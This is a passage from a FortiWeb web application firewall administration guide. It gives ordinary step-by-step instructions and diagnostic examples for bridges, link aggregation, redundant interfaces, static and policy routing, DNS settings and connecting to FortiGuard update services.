
3. Enter the following commands:

```
config system v-zone
  edit <v-zone_name>
    set interfaces {<port_name> ...}
    set monitor {enable | disable}
  end
```

where:

- `<v-zone_name>` is the name of the bridge
- `{<port_name> ...}` is a space-delimited list of one or more network ports that will be members of this bridge. Eligible network ports must not yet belong to a bridge, and have no assigned IP address. For a list of eligible ports, enter:

```
set interfaces ?
```

- `set monitor {enable | disable}` is an optional setting that specifies whether FortiWeb automatically brings down all members of this v-zone when one member goes down.

4. To use the bridge, select it in a policy. For details, see "[Configuring a server policy](#)" on page 277.

See also

- "[To configure a network interface or bridge](#)" on page 162
- "[Configuring the network interfaces](#)" on page 164
- "[Link aggregation](#)" on page 174
- "[Adding a gateway](#)" on page 178

Link aggregation

You can configure a network interface that is the bundle of several physical links via either the web UI or the CLI.



The Link Aggregation Control Protocol (LACP) is currently supported only when FortiWeb is deployed in Reverse Proxy or True Transparent Proxy mode. It can be applied to VLAN subinterfaces. It cannot be applied to ports that are used for the HA heartbeat, but it can be applied to monitor ports in an HA cluster. It is not supported in FortiWeb-VM.

Link aggregation (also called NIC teaming/bonding or link bundling) forms a network interface that queues and transmits over multiple wires (also called a port channel), instead of only a single wire (as FortiWeb would normally do with a single network interface for each physical port). This multiplies the bandwidth that is available to the network interface, and therefore is useful if FortiWeb will be inline with your network backbone.

Link aggregation on FortiWeb complies with IEEE 802.3ad (<http://grouper.ieee.org/groups/802/3/ad/index.html>) and distributes Ethernet frames using a modified round-robin behavior. If a port in the aggregate fails, traffic is redistributed automatically to the remaining ports with the only noticeable effect being a reduced bandwidth. When broadcast or multicast traffic is received on a port in the aggregate interface, reverse traffic will return on the same port.

When link aggregation uses a round-robin that considers only Layer 2, Ethernet frames that comprise an HTTP request can sometimes arrive out of order. Because network protocols at higher layers often do not gracefully handle this (especially TCP, which may decrease network performance by requesting retransmission when the expected segment does not arrive), FortiWeb's frame distribution algorithm is configurable.

For example, if you notice that performance with link aggregation is not as high as you expect, you could try configuring FortiWeb to queue related frames consistently to the same port by considering the IP session (Layer 3) and TCP connection (Layer 4), not simply the MAC address (Layer 2).

You **must** also configure the router, switch, or other link aggregation control protocol (LACP)-compatible device at the other end of FortiWeb's network cables to match, with identical:

- Link speed
- duplex/simplex setting
- ports that can be aggregated

This will allow the two devices to use the cables between those ports to form a trunk, **not** an accidental Layer 2 (link) network loop. FortiWeb will use LACP to:

- detect suitable links between itself and the other device, and form a single logical link
- detect individual port failure so that the aggregate can redistribute queuing to avoid a failed port

To configure a link aggregate interface

1. Go to **System > Network > Interface**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Network Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Type the name (such as <code>agg</code>) of this logical interface that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 15 characters. Tip: The name cannot be changed once you save the entry. For a workaround, see "Renaming entries" on page 94.
Type	Select 802.3ad Aggregate .
Lacp-rate	Select the rate of transmission for the LACP frames (LACPUs) between FortiWeb and the peer device at the other end of the trunking cables, either: • SLOW—Every 30 seconds. • FAST—Every 1 second. Note: This must match the setting on the other device. If the rates do not match, FortiWeb or the other device could mistakenly believe that the other's ports have failed, effectively disabling ports in the trunk.
Algorithm	Select the connectivity layers that will be considered when distributing frames among the aggregated physical ports. • layer2—Consider only the MAC address. This results in the most even distribution of frames, but may be disruptive to TCP if packets frequently arrive out of order. • layer2_3—Consider both the MAC address and IP session. Queue frames involving the same session to the same port. This results in slightly less even distribution, and still does not guarantee perfectly ordered TCP sessions, but does result in less jitter within the session. • layer3_4—Consider both the IP session and TCP connection. Queue frames involving the same session and connection to the same port. Distribution is not even, but this does prevent TCP retransmissions associated with link aggregation.
Addressing Mode	Specify whether FortiWeb acquires an IPv4/IPv6 address for this aggregate using DHCP.
IP/Netmask	Type the IP address/subnet mask associated with the aggregate. The IP address must be on the same subnet as the network to which the interface connects. Two network interfaces cannot have IP addresses on the same subnet.

4. Click **OK**.

Your new aggregate appears in the list of network interfaces.

To configure an IPv4link aggregate via the CLI

Enter the following commands:

```
config system interface
    edit "aggregate"
```

```
set type agg
set status up
set intf <port_name> <port_name>
set algorithm {layer2 | layer2_3 | layer3_4}
set lacp-speed {fast | slow}
set mode {manual | dhcp}
set ip <address_ipv4> <netmask_ipv4mask>
next
end
```

where:

- <port_name> is the name of a physical network interface, such as port3
- <address_ipv4> is the IP address assigned to the network interface
- <netmask_ipv4mask> is its netmask in dotted decimal format
- {manual | dhcp} specifies how the network interface is addressed.
- {layer2 | layer2_3 | layer3_4} is a choice between the connectivity layers that will be considered when distributing frames among the aggregated physical ports.
- {fast | slow} is a choice of the rate of transmission for the LACP frames (LACPU) between FortiWeb and the peer device at the other end of the trunking cables; this must match the LACP peer

See also

- ["To configure a network interface or bridge"](#) on page 162
- ["Configuring the network interfaces"](#) on page 164
- ["Configuring a bridge \(V-zone\)"](#) on page 171
- ["Adding a gateway"](#) on page 178

Configuring redundant interfaces

You can combine two or more interfaces in a redundant configuration to ensure connectivity in the event that one physical interface or the equipment connected to that interface fails. Network traffic goes through only one interface at any time, and the other interfaces act as backups in the event an interface fails. Redundant interfaces create redundant connections between a FortiWeb configuration and the network, removing a potential single point of failure and further increasing network reliability and connectivity.

When used in certain network configurations, such as a High Availability (HA) Active-Passive (AP) configuration, you can create a *fully meshed* HA configuration that eliminates potential single points of failure. By default, HA configurations connect to the network using a single switch, and this single piece of equipment remains a potential single point of failure. When you configure redundant interfaces in an HA configuration, you eliminate the remaining potential single point of failure between your FortiWeb configuration and the network.

An interface can be used in a redundant interface configuration if it:

- Is a physical interface and not a VLAN interface
- Does not have any VLAN subinterfaces
- Is not referenced in any V-zone interfaces
- Is not already part of an aggregated or redundant interface configuration
- Has no defined IP address (Manual or DHCP)
- Is not used in a server policy or virtual server configuration
- Is not used by a static route or policy route
- Is not monitored by an HA configuration

- Is not referenced in an HA Reserve Management Port
- Is not referenced in an HA Heartbeat Interface

Interfaces in a redundant interface configuration are not listed in **System > Network > Interface**. You cannot further configure or select redundant interfaces in other parts of the configuration.

To configure redundant interfaces via the web UI

1. Go to **System > Network > Interface**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Network Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.

3. Enter a **Name** for the interface.

4. For **Type**, select **Redundant Interface**.

5. Select ports that you want to use in the configuration from the list of **Available Interfaces** and use the (arrow) icon to move them to the **Selected Interfaces** list.

6. For **Addressing mode**:

Select **Manual** to enter an IPv4 address. If you select **Manual**, also configure the **IPv4/Netmask** option. Type the IP address and subnet mask, separated by a forward slash (/), such as 192.0.2.2/24.

Select **DHCP** so that FortiWeb will acquire an IPv4 address using DHCP.

7. Optionally, for **IPv6 Addressing mode**:

Select **Manual** to enter an IPv6 address. If you select **Manual**, also configure the **IPv6/Netmask** option.

Select **DHCP** so that FortiWeb will acquire an IPv6 address using DHCP.

8. Click **OK**.

To configure redundant interfaces via the CLI

Enter the following commands:

```
config system interface
  edit <interface_name>
    set type redundant
    set intf {<port_name> ...}
    set mode {static | dhcp}
    set ip {interface_ipv4mask}
    set ip6-mode {static | dhcp}
    set ip6 {interface_ipv6mask}
  next
end
```

where:

- `<interface_name>` is the name of the redundant interface configuration that you want to create
- `intf {<port_name> ...}` is each port that you want to include in the configuration
- `mode {static | dhcp}` specifies whether the interface obtains its IPv4 address and netmask using DHCP
- `ip {interface_ipv4mask}` is the IPv4 address assigned to the network interface if you use a static IP

- `ip6-mode {static | dhcp}` specifies whether the interface contains its IPv6 address using DHCP
- `ip6 {interface_ipv6mask}` is the IPv6 address assigned to the network interface if you use a static IP

Adding a gateway

Static routes direct traffic exiting the FortiWeb appliance based upon the packet's destination—you can specify through which network interface a packet leaves and the IP address of a next-hop router that is reachable from that network interface. Routers are aware of which IP addresses are reachable through various network pathways and can forward those packets along pathways capable of reaching the packets' ultimate destinations. Your FortiWeb itself does not need to know the full route, as long as the routers can pass along the packet.



True transparent and Transparent Inspection operation modes require that you specify the gateway when configuring the operation mode. In that case, you have already configured a static route. You do not need to repeat this step.

You must configure FortiWeb with at least one static route that points to a router, often a router that is the gateway to the Internet. You may need to configure multiple static routes if you have multiple gateway routers (e.g. each of which should receive packets destined for a different subset of IP addresses), redundant routers (e.g. redundant Internet/ISP links), or other special routing cases.

However, often you will only need to configure one route: a default route.

For example, if a web server is directly attached to one physical port on the FortiWeb, but all other destinations, such as connecting clients, are located on distant networks, such as the Internet, you might need to add only one route: a default route that indicates the gateway router through which FortiWeb sends traffic towards the Internet.



If your management computer is **not** directly attached to one of the physical ports of the FortiWeb appliance, you may also require a static route so that your management computer is able to connect with the web UI and CLI.

When you add a static route through the web UI, the FortiWeb appliance evaluates the route to determine if it represents a different route compared to any other route already present in the list of static routes. If no route having the same destination exists in the list of static routes, the FortiWeb appliance adds the static route, using the next unassigned route index number. The index number of the route in the list of static routes is not necessarily the same as its position in the routing table (`diagnose network route list`).

You can also configure FortiWeb to route traffic to a specific network interface/gateway combination based on a packet's source and destination IP address, instead of the static route configuration. For details, see ["Creating a policy route"](#) on page 182.

To add a static route via the web UI

1. Go to **System > Network > Route** and select the **Static Route** tab.

To access this part of the web UI, your administrator account's access profile must have **Read** and **Write** permission to items in the **Router Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.
3. Configure these settings:

Destination IP/Mask	Type the destination IP address and network mask of packets that will be subject to this static route, separated by a slash (/). The value 0 . 0 . 0 . 0 / 0 . 0 . 0 . 0 or : : / 0 results in a default route, which matches the <code>DST</code> field in the IP header of all packets.
Gateway	Type the IP address of the next-hop router where the FortiWeb forwards packets subject to this static route. This router must know how to route packets to the destination IP addresses that you have specified in Destination IP/Mask (page 179), or forward packets to another router with this information. For a direct Internet connection, this is the router that forwards traffic towards the Internet, and could belong to your ISP. Caution: The gateway IP address must be in the same subnet as the interface's IP address. Failure to do so will cause FortiWeb to delete all static routes, including the default gateway.
Interface	Select the name of the network interface through which the packets subject to the static route will egress towards the next-hop router.



Making a default route for your FortiWeb is a typical best practice: if there is no other, more specific static route defined for a packet's destination IP address, a default route will match the packet, and pass it to a gateway router so that any packet can reach its destination.

If you do **not** define a default route, and if there is a gap in your routes where no route matches a packet's destination IP address, packets passing through the FortiWeb towards those IP addresses will, in effect, be null routed. While this can help to ensure that unintentional traffic cannot leave your FortiWeb and therefore can be a type of security measure, the result is that you must modify your routes every time that a new valid destination is added to your network. Otherwise, it will be unreachable. A default route ensures that this kind of locally-caused "destination unreachable" problem does not occur.

4. Click **OK**.

The FortiWeb appliance should now be reachable to connections with networks indicated by the mask.

5. To verify connectivity, from a host on the route's destination network, attempt to connect to the FortiWeb appliance's web UI via HTTP and/or HTTPS. (At this point in the installation, you have not yet configured a policy, and therefore, if in Reverse Proxy mode, cannot test connectivity **through** the FortiWeb.)



By default, in Reverse Proxy mode, FortiWeb's virtual servers will **not forward non-HTTP/HTTPS** traffic to your protected web servers. (Only traffic picked up and allowed by the HTTP Reverse Proxy will be forwarded.) You may be able to provide connectivity by either deploying in a one-arm topology where other protocols bypass FortiWeb, or by enabling FortiWeb to route other protocols. See also "[Topology for Reverse Proxy mode](#)" on page 104 and the `config router setting` command in the [FortiWeb CLI Reference](#).

If the connectivity test fails, you can use the CLI commands:

```
execute ping <destination_ip4>
```

to determine if a complete route exists from the FortiWeb to the host, and

```
execute traceroute <destination_ip4>
```

to determine the point of connectivity failure.

Also enable **PING** (page 165) on the FortiWeb's network interface, or configure an IP address on the bridge, then use the equivalent `tracert` or `traceroute` command on the host (depending on its operating system) to test routability for traffic traveling in the opposite direction: from the host to the FortiWeb.

- If these tests **fail**, or if you do not want to enable **PING** (page 165), first examine the static route configuration on both the host and FortiWeb.

To display the routing table, enter the CLI command:

```
diagnose network route list
```

You may also need to verify that the physical cabling is reliable and not loose or broken, that there are no IP address or MAC address conflicts or blacklisting, and otherwise rule out problems at the physical, network, and transport layer.

- If these tests **succeed**, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem is preventing connectivity.

Verify that you have enabled **HTTPS** (page 165) and/or **HTTP** (page 166) on the network interface. Also examine routers and firewalls between the host and the FortiWeb appliance to verify that they permit HTTP and/or HTTPS connectivity between them. Finally, you can also use the CLI command:

```
diagnose system top 5 30
```

to verify that the daemons for the web UI and CLI, such as `sshd`, `newcli`, and `httpsd` are running and not overburdened. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

To add a default route via the CLI

1. Enter the following commands:

```
config router static
edit <route_index>
set gateway <gateway_ip4>
set device <interface_name>
end
```

where:

- `<route_index>` is the index number of the route in the list of static routes
- `<gateway_ip4>` is the IP address of the gateway router
- `<interface_name>` is the name of the network interface through which packets will egress, such as `port1`

The FortiWeb appliance should now be reachable to connections with networks indicated by the mask.

2. To verify connectivity, from a host on the network applicable to the route, attempt to connect to the FortiWeb appliance's web UI via HTTP and/or HTTPS. (At this point in the installation, you have not yet configured a policy, and therefore, if in Reverse Proxy mode, cannot test connectivity **through** the FortiWeb.)



By default, in Reverse Proxy mode, FortiWeb's virtual servers will **not forward non-HTTP/HTTPS** traffic to your protected web servers. (Only traffic picked up and allowed by the HTTP Reverse Proxy will be forwarded.) You may be able to provide connectivity by either deploying in a one-arm topology where other protocols bypass FortiWeb, or by enabling FortiWeb to route other protocols. See also "[Topology for Reverse Proxy mode](#)" on page 104 and the `config router setting` command in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

If the connectivity test fails, you can use the CLI commands:

```
execute ping
```

to determine if a complete route exists from the FortiWeb to the host, and

```
execute traceroute
```

to determine the point of connectivity failure. For details, see the *FortiWeb CLI Reference* (<http://docs.fortinet.com/fortiweb/reference>). Also enable `ping` on the FortiWeb (see "[To configure a network interface's IPv4 address via the CLI](#)" on page 167), then use the equivalent `tracert` or `traceroute` command on the host (depending on its operating system) to test routability for traffic traveling in the opposite direction: from the host to the FortiWeb.

- If these tests **fail**, or if you do not want to enable **PING** (page 165), first examine the static route configuration on both the host and FortiWeb.

To display all routes with their priorities, enter the CLI command:

```
diagnose network route list
```

You may also need to verify that the physical cabling is reliable and not loose or broken, that there are no IP address or MAC address conflicts or blacklisting, and otherwise rule out problems at the physical, network, and transport layer.

- If these tests **succeed**, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem is preventing connectivity.

Verify that you have enabled `http` and/or `https` on the network interface ("[To configure a network interface's IPv4 address via the CLI](#)" on page 167). Also examine routers and firewalls between the host and the FortiWeb appliance to verify that they permit HTTP and/or HTTPS connectivity between them. Finally, you can also use the CLI command:

```
diagnose system top 5 30
```

to verify that the daemons for the web UI and CLI, such as `sshd`, `newcli`, and `httpsd` are running and not overburdened. For details, see the *FortiWeb CLI Reference* (<http://docs.fortinet.com/fortiweb/reference>).

See also

- ["Creating a policy route" on page 182](#)
- ["Routing based on HTTP content" on page 408](#)
- ["Configuring the network interfaces" on page 164](#)
- ["Configuring a bridge \(V-zone\)" on page 171](#)
- ["Configuring DNS settings" on page 185](#)
- ["IPv6 support" on page 60](#)

Creating a policy route

FortiWeb allows you to configure policy routes that redirect traffic away from a static route. This mechanism can be useful for the following tasks:

- Diverting traffic for intrusion protection scanning (IPS).
- Protecting web servers for different customers (for example, the clients of a Managed Security Service Provider).
- Resolving asymmetric routing issues. For details, see ["Fixing asymmetric routing problems with policy-based routing" on page 183](#).

Policy routes can direct traffic to a specific network interface and gateway based on the packet's source and destination IP address. In addition, you can also specify the interface on which FortiWeb receives packets it applies this routing policy to.

In most cases, you use policy routes when FortiWeb is operating in Reverse Proxy mode. In this mode, FortiWeb opens its own HTTP connection to the back-end server (a server pool member) and does not transmit the client's request to the pool member. Because the pool member's reply contains no incoming interface information that FortiWeb can use to route the reply, you do not specify an incoming interface value to match. Instead, the policy route specifies a source address (for example, the virtual server's IP address), outgoing interface, and gateway only. In other operating modes (true Transparent Inspection, Transparent Inspection, and Offline Protection), specifying an incoming interface in the policy route configures FortiWeb to act as a router.

To create a policy route

1. Go to **System > Network > Route** and select **Policy Route** tab.
2. Complete the following settings:

Incoming Interface	Select the interface on which FortiWeb receives packets it applies this routing policy to.
Source address/mask (IPv4/IPv6)	Enter the source IP address and network mask to match. When a packet matches the specified address, FortiWeb routes it according to this policy.
Destination address/mask (IPv4/IPv6)	Enter the destination IP address and network mask to match. When a packet matches the specified address, FortiWeb routes it according to this policy.
Outgoing Interface	Select the interface through which FortiWeb routes packets that match the specified IP address information.

Gateway Address (IPv4/IPv6)	Enter the IP address of the next-hop router where FortiWeb forwards packets that match the specified IP address information. Ensure this router knows how to route packets to the destination IP address or forwards packets to another router with this information. A gateway address is not required for the particular routing policies used as static routes in an one-arm topology. Please leave this blank for one-arm topology.
Priority	Enter a value between 1 and 200 that specifies the priority of the route. When packets match more than one policy route, FortiWeb directs traffic to the route with the lowest value.

3. Click **OK**.

Notice for using policy route in an one-arm topology

Since FortiWeb's policy route has higher priority than static route (any packet will be evaluated against policy routes first, then static routes), when a FortiWeb is deployed in a one-arm topology (see ["Planning the network topology"](#) on page 97) and any policy route is configured for the FortiWeb to access to other networks, you are strongly recommended to add particular policy routes with higher priority for the static routing within the connected network subnets.

A policy route might be set for updating the signature and virus databases through the Internet. In this example, packets that FortiWeb forwards for Reverse Proxy mode within subnet 192.0.2.0/24 might match the policy route first rather than the static route, and so that the packets might be directed to incorrect path (which result in a failed Reverse Proxy). Therefore, no matter what the configurations you have for the policy routes, we strongly suggest an extra policy route being set (for this example) like

```
Destination address/mask = 192.0.2.0/24
Outgoing Interface = port3
Priority = 10
```

Configuration of the particular policy route is a static route for choosing port 3 as the path to forward packets destined to subnet 192.0.2.0/24. To make sure all the packets are evaluated against the particular policy routes before other normal policy routes, those particular policy routes must be assigned a higher (or the highest) priority than other policy routes'. This particular policy route, with a higher (or the highest) priority and no gateway being specified, essentially reverses the fact that policy routes have higher priority than static routes.

See also

- ["Adding a gateway"](#) on page 178

Fixing asymmetric routing problems with policy-based routing

FortiWeb's **Static Routes** configuration directs outgoing traffic based on packet destination. However, some environments require you to also use the **Policy Route** settings to route outgoing traffic based on source IP address, the incoming interface, or both.


For example, if your FortiWeb receives traffic from more than one gateway, it is possible for request and reply packets in the same TCP connection to use different gateways (asymmetric routing), which can break the

connection. Policy-based routing can correct this problem by ensuring that replies to clients use the same interface as the original request.

For example, a FortiWeb has a default static route that forwards traffic for any destination to 1.1.1.254, which is the gateway for ISP1. However, the appliance also has a virtual server with the address 2.2.2.2 that receives traffic from the ISP2 gateway, which has an IP address of 2.2.2.254.

A client request destined for the virtual server 2.2.2.2 arrives from the client with the IP address 4.4.4.4. In Reverse Proxy mode, FortiWeb opens a connection to the server pool member on behalf of the client. The pool member's reply contains the destination provided by FortiWeb (4.4.4.4) but not the interface associated with the request. Using the **Static Route** settings only, FortiWeb routes the reply to gateway 1.1.1.254 for all destinations, which does not have the correct state information for the TCP connection.

This is an example of routing using only a static route:




The following Policy Route settings fix this asymmetric routing issue by directing outgoing traffic based on the source IP. Because all incoming traffic for virtual server 2.2.2.2 arrives on the IP2 gateway 2.2.2.254, you configure FortiWeb to route all replies from 2.2.2.2 to that gateway. In addition, the configuration directs any outgoing traffic from the virtual server with an IP address 1.1.1.1 (which receives traffic over the default gateway) to the default gateway:

```

config router policy
  edit 1
    set src 1.1.1.1/24
    set gateway 1.1.1.254
    set oif port1
  next
  edit 2
    set src 2.2.2.2/24
    set gateway 2.2.2.254
    set oif port2
  next
end
  
```

This is an example of routing by source IP using policy routes:



Configuring DNS settings

Like many other types of network devices, FortiWeb appliances require connectivity to DNS servers for DNS lookups.

Your Internet service provider (ISP) may supply IP addresses of DNS servers, or you may want to use the IP addresses of your own DNS servers. You must provide unicast, non-local addresses for your DNS servers. Local host and broadcast addresses will not be accepted.



Incorrect DNS settings or unreliable DNS connectivity can cause issues with other features, including FortiGuard services and NTP system time.

To configure DNS settings via the web UI

1. Go to **System > Network > DNS**.

To change settings in this part of the web UI, your administrator's account access profile must have **Write** permission to items in the **Network Configuration** category. For details, see "[Permissions](#)" on page 85.

2. In **Primary DNS Server**, type the IP address of the primary DNS server.
3. In **Secondary DNS Server**, type the IP address of the secondary DNS server.
4. In **Local Domain Name**, type the name of the local domain to which the FortiWeb appliance belongs, if any.

This field is optional. It will not appear in the `Host:` field of HTTP headers for client connections to your protected web servers.

5. Click **Apply**.

The appliance will query the DNS servers whenever it needs to resolve a domain name into an IP address, such as for NTP system time, FortiGuard services, or web servers defined by their domain names ("domain servers").

6. To verify your DNS settings, in the CLI, enter the following commands:

```
execute traceroute <server_fqdn>
```

where <server_fqdn> is a domain name such as www.example.com.



DNS tests may not succeed until you have completed ["Adding a gateway"](#) on page 178.

If the DNS query for the domain name **succeeds**, you should see results that indicate that the host name resolved into an IP address, and the route from FortiWeb to that IP address:

```
traceroute to www.example.com (192.0.43.10), 30 hops max, 60 byte packets
1 172.20.130.2 (172.20.130.2) 0.426 ms 0.238 ms 0.374 ms
2 static-209-87-254-221.storm.ca (209.87.254.221) 2.223 ms 2.491 ms 2.552 ms
3 core-g0-0-1105.storm.ca (209.87.239.161) 3.079 ms 3.334 ms 3.357 ms
...
16 43-10.any.icann.org (192.0.43.10) 57.243 ms 57.146 ms 57.001 ms
```

If the DNS query **fails**, you will see an error message such as:

```
traceroute: unknown host www.example.com
CFG_CLI_INTERNAL_ERR
```

Verify your DNS server IPs, routing, and that your firewalls or routers do not block or proxy UDP port 53.

To configure DNS settings via the CLI

1. Enter the following commands:

```
config system dns
  set primary <address_ipv4>
  set secondary <address_ipv4>
  set domain <local-domain_str>
end
```

where:

<address_ipv4> is the IP address of a DNS server

<local-domain_str> is the name of the local domain to which the FortiWeb appliance belongs, if any

The local domain name is optional. It will not appear in the `Host:` field of HTTP headers for connections to protected web servers.

The appliance will query the DNS servers whenever it needs to resolve a domain name into an IP address, such as for NTP or web servers defined by their domain names ("domain servers").

2. To verify your DNS settings, in the CLI, enter the following commands:

```
execute traceroute <server_fqdn>
```

where <server_fqdn> is a domain name such as www.example.com.



DNS tests may not succeed until you have completed ["Adding a gateway"](#) on page 178.

If the DNS query for the domain name **succeeds**, you should see results that indicate that the host name resolved into an IP address, and the route from FortiWeb to that IP address:

```
traceroute to www.example.com (192.0.43.10), 30 hops max, 60 byte packets
 1 172.20.130.2 (172.20.130.2) 0.426 ms 0.238 ms 0.374 ms
 2 static-209-87-254-221.storm.ca (209.87.254.221) 2.223 ms 2.491 ms 2.552 ms
 3 core-g0-0-1105.storm.ca (209.87.239.161) 3.079 ms 3.334 ms 3.357 ms
 ...
16 43-10.any.icann.org (192.0.43.10) 57.243 ms 57.146 ms 57.001 ms
```

If the DNS query **fails**, you will see an error message such as:

```
traceroute: unknown host www.example.com
CFG_CLI_INTERNAL_ERR
```

Verify your DNS server IPs, routing, and that your firewalls or routers do not block or proxy UDP port 53.

See also

- ["Configuring the network interfaces"](#) on page 164
- ["Configuring a bridge \(V-zone\)"](#) on page 171
- ["Adding a gateway"](#) on page 178

Connecting to FortiGuard services

Most exploits and virus exposures occur within the first 2 months of a known vulnerability. Most botnets consist of thousands of zombie computers whose IP addresses are continuously changing. Everyday, spilled account credentials are used to launch credential stuffing attacks. To keep your defenses effective against the evolving threat landscape, Fortinet recommends FortiGuard services. New vulnerabilities, botnets, and stolen account credentials are discovered and new signatures are built by Fortinet researchers every day.

Without connecting to FortiGuard, your FortiWeb cannot detect the newest threats.

After you have subscribed to FortiGuard services (see ["Appendix E: How to purchase and renew FortiGuard licenses"](#) on page 840), configure your FortiWeb appliance to connect to the Internet so that it can reach the world-wide Fortinet Distribution Network (FDN) in order to:

- verify its FortiGuard service licenses
- download up-to-date signatures, IP lists, stolen account credentials, and engine packages

FortiWeb appliances can often connect using the default settings. However, due to potential differences in routing and firewalls, you should confirm this by verifying connectivity.



You must first register the FortiWeb appliance with Fortinet Customer Service & Support (<https://support.fortinet.com/>) to receive service from the FDN. The FortiWeb appliance must also have a valid Fortinet Technical Support contract that includes service subscriptions and be able to connect to the FDN. For port numbers to use to validate the license and update connections, see "[Appendix A: Port numbers](#)" on page 814.

To determine your FortiGuard license status

1. If your FortiWeb appliance must connect to the Internet through an explicit (non-transparent) web proxy, configure the proxy connection (see "[Accessing FortiGuard via a proxy](#)" on page 191).

The appliance will attempt to validate its license when it boots. If the appliance could not connect because proxy settings were not configured, or due to any other connectivity issue that you have since resolved, you can reboot the appliance to re-attempt license validation.

2. Go to **System > Status > Status**.

To access this part of the web UI, your administrator's account access profile must have **Read** permission to items in the **System Configuration** category. For details, see "[Permissions](#)" on page 85.

3. In the **FortiGuard Information** widget, look at the **Security Service** row, **Antivirus Service** row, **IP Reputation Service** row, and **Credential Stuffing Defense Service** row.

Valid—At the last attempt, the FortiWeb appliance was able to successfully contact the FDN and validate its FortiGuard license. Continue with "[Scheduling automatic signature updates](#)" on page 194.

Expired—At the last attempt, the license was **either** expired or FortiWeb was unable to determine license status due to network connection errors with the FDN.



Your FortiWeb appliance cannot detect the latest vulnerabilities and compliance violations unless it is licensed and has network connectivity to download current definitions from the FortiGuard service.

If the connection did **not** succeed:

- On FortiWeb, verify the following settings:
 - time zone & time
 - DNS settings
 - network interface up/down status & IP
 - static routes
- On your computer, use `nslookup` to verify that FortiGuard domain names are resolving (license authentication queries are sent to `update.fortiguard.net`):

```
C:\Users\cschwartz>nslookup update.fortiguard.net
Server: google-public-dns-a.google.com
Address: 8.8.8.8
```

```
Non-authoritative answer:
Name: fdsl.fortinet.com
```



```
Addresses: 209.66.81.150
209.66.81.151
208.91.112.66
Aliases: update.fortiguard.net
```

- Check the configuration of any NAT or firewall devices that exist between the FortiWeb appliance and the FDN or FDS server override. On FortiWeb, enter the `execute ping` and `execute traceroute` commands to verify that connectivity from FortiWeb to the Internet and FortiGuard is possible:

```
FortiWeb # exec traceroute update.fortiguard.net
traceroute to update.fortiguard.net (209.66.81.150), 32 hops max, 84 byte packets
 1 192.0.2.2 0 ms 0 ms 0 ms
 2 209.87.254.221 <static-209-87-254-221.storm.ca> 4 ms 2 ms 3 ms
 3 209.87.239.161 <core-2-g0-3.storm.ca> 2 ms 3 ms 3 ms
 4 67.69.228.161 3 ms 4 ms 3 ms
 5 64.230.164.17 <core2-ottawa23_POS13-1-0.net.bell.ca> 3 ms 5 ms 3 ms
 6 64.230.99.250 <tcore4-ottawa23_0-4-2-0.net.bell.ca> 16 ms 17 ms 15 ms
 7 64.230.79.222 <tcore3-montreal01_pos0-14-0-0.net.bell.ca> 14 ms 14 ms 15 ms
 8 64.230.187.238 <newcore2-newyork83_so6-0-0_0> 63 ms 15 ms 14 ms
 9 64.230.187.42 <bxX5-newyork83_POS9-0-0.net.bell.ca> 21 ms 64.230.187.93 <BX5-NEWYORK83_
   POS12-0-0_core.net.bell.ca> 17 ms 16 ms
10 67.69.246.78 <Abovenet_NY.net.bell.ca> 28 ms 28 ms 28 ms
11 64.125.21.86 <xe-1-3-0.cr2.lga5.us.above.net> 29 ms 29 ms 30 ms
12 64.125.27.33 <xe-0-2-0.cr2.ord2.us.above.net> 31 ms 31 ms 33 ms
13 64.125.25.6 <xe-4-1-0.cr2.sjc2.us.above.net> 82 ms 82 ms 100 ms
14 64.125.26.202 <xe-1-1-0.er2.sjc2.us.above.net> 80 ms 79 ms 82 ms
15 209.66.64.93 <209.66.64.93.t01015-01.above.net> 80 ms 80 ms 79 ms
16 209.66.81.150 <209.66.81.150.available.above.net> 83 ms 82 ms 81 ms
```

To verify FortiGuard update connectivity

1. If your FortiWeb appliance must connect to the Internet (and therefore FDN) through an explicit (non-transparent) web proxy, first you must configure the proxy connection. For details, see ["Accessing FortiGuard via a proxy"](#) on page 191.
2. Go to **System > Config > FortiGuard**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see ["Permissions"](#) on page 85.
3. If you want your FortiWeb appliance to connect to a specific FDS other than the default for its time zone, enable **Override default FortiGuard address** and enter the IP address and port number of an FDS in the format `<FDS_ipv4>:<port_int>`, such as `10.0.0.1:443`.
4. Click **Apply**.
5. Click **Update Now**.

The FortiWeb appliance tests the connection to the FDN and, if any, the server you specified to override the default FDN server. Time required varies by the speed of the FortiWeb appliance's network connection, and by the number of timeouts that occur before the connection attempt is successful or the FortiWeb appliance determines that it cannot connect. If you have enabled logging via:

- **Log & Report > Log Config > Other Log Settings**
- **Log & Report > Log Config > Global Log Settings**

test results are indicated in **Log & Report > Log Access > Event**

If the connection test did **not** succeed due to license issues, you would instead see this log message:

```
FortiWeb is unauthorized
```

For more troubleshooting information, enter the following commands:

```
diagnose debug enable
diagnose debug application fds 8
```

These commands display cause additional information in your CLI console. For example:

```
FortiWeb # [update]: Poll timeout.
FortiWeb # *ATTENTION*: license registration status changed to 'VALID', please logout and
re-login
```

For example, poll (license and update request) timeouts can be caused by incorrectly configured static routes and DNS settings, links with high packet loss, and other basic connectivity issues. Unless you override the behavior with a specific FDS address (enable and configure **Override default FortiGuard address**), FortiWeb connects to the FDN by communicating with the server closest to it according to the configured time zone. Timeouts can therefore also be caused by configuring an incorrect time zone.

See also

- ["Blacklisting source IPs with poor reputation"](#) on page 485
- ["Blocking known attacks & data leaks"](#) on page 505
- ["Antivirus Scan"](#) on page 595
- ["Recognizing data types"](#) on page 216
- ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693
- ["Configuring log destinations"](#) on page 695
- ["Viewing log messages"](#) on page 706
- ["IPv6 support"](#) on page 60

Choosing the virus signature database & decompression buffer

Most viruses initially spread, but as hosts are patched and more networks filter them out, their occurrence becomes more rare.

